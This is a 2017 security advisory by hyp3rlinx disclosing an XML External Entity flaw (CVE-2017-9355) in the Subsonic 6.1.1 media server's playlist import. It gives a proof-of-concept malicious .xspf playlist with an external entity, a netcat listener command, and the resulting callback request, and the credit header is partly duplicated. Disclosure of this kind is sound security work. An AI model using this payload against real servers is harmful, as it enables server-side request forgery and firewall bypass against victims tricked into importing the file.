Subsonic 6.1.1 XML External Entity Attack

[+] Credits: John Page a.k.a hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/SUBSONIC-XML-EXTERNAL-ENITITY.t [+] Credits: John Page a.k.a hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/SUBSONIC-XML-EXTERNAL-ENITITY.txt
[+] ISR: ApparitionSec



Vendor:
================
www.subsonic.org



Product:
===============
subsonic v6.1.1

Subsonic is a media streaming server. You install it on your own computer where you keep your music or video collection.



Vulnerability Type:
====================
XML External Entity



CVE Reference:
==============
CVE-2017-9355




Security Issue:
================
subsonic import playlist feature is succeptible to XML External Entity attack. To exploit a User must be tricked to
import a malicious .XSPF playlist file. The XXE injection can be used to target various hosts from the internal network
to bypass Firewall or from the internet as XML External Entity is related to Server Side Request Forgery (SSRF) attacks.




Exploit/POC:
=============
1) Create some playlist file "RainbowsNUnic0rns.xspf"

<?xml version="1.0"?>
<!DOCTYPE mmmmmRaisins [
<!ENTITY % mmmm SYSTEM "http://127.0.0.1:1337/">
%mmmm;]>


2) Import as playlist.


3) Start listener.

nc.exe -llvp 1337
listening on [any] 1337 ...

connect to [127.0.0.1] from USER-PC [127.0.0.1] 64428
GET / HTTP/1.1
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/1.8.0_45
Host: 127.0.0.1:1337
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive



Network Access:
===============
Remote




Severity:
=========
High



Disclosure Timeline:
==================================
Vendor Notification: May 29, 2017
Vendor Acknowledgement: May 30, 2017
June 4, 2017 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx